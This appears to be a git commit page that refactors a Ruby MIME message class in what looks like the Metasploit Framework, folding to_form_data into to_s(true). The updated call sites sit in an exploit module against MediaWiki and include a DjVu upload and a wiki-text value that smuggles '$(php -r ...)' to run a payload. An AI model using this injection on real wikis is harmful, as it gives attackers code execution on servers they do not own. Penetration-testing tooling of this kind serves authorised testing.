Refactor form_data code
parent
67c18d8d2d
commit
83925da2f1
|
@ -121,7 +121,7 @@ class Message
|
|||
)
|
||||
end
|
||||
|
||||
def to_s
|
||||
def to_s(form_data = false)
|
||||
msg = self.header.to_s + "\r\n"
|
||||
|
||||
if self.content and not self.content.empty?
|
||||
|
@ -129,27 +129,8 @@ class Message
|
|||
end
|
||||
|
||||
self.parts.each do |part|
|
||||
msg << "--" + self.bound + "\r\n"
|
||||
msg << part.to_s + "\r\n"
|
||||
end
|
||||
|
||||
if self.parts.length > 0
|
||||
msg << "--" + self.bound + "--\r\n"
|
||||
end
|
||||
|
||||
# Force CRLF for SMTP compatibility
|
||||
msg.gsub("\r", '').gsub("\n", "\r\n")
|
||||
end
|
||||
|
||||
def to_form_data
|
||||
msg = self.header.to_s + "\r\n"
|
||||
|
||||
if self.content and not self.content.empty?
|
||||
msg << self.content + "\r\n"
|
||||
end
|
||||
|
||||
self.parts.each do |part|
|
||||
msg << "--" + self.bound + "\r\n"
|
||||
msg << "--" + self.bound
|
||||
msg << "\r\n" unless form_data
|
||||
msg << part.to_s
|
||||
end
|
||||
|
||||
|
@ -157,7 +138,10 @@ class Message
|
|||
msg << "--" + self.bound + "--\r\n"
|
||||
end
|
||||
|
||||
msg
|
||||
unless form_data
|
||||
# Force CRLF for SMTP compatibility
|
||||
msg.gsub("\r", '').gsub("\n", "\r\n")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
|
||||
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
||||
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
|
||||
post_data = upload_mime.to_form_data
|
||||
post_data = upload_mime.to_s(true)
|
||||
|
||||
print_status("Uploading DjVu file #{file_name}...")
|
||||
|
||||
|
@ -265,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
|
||||
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
|
||||
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
|
||||
post_data = edit_mime.to_form_data
|
||||
post_data = edit_mime.to_s(true)
|
||||
|
||||
print_status("Sending payload request...")
|
||||
edit = send_request_cgi({
|
||||
|
|
Loading…
Reference in New Issue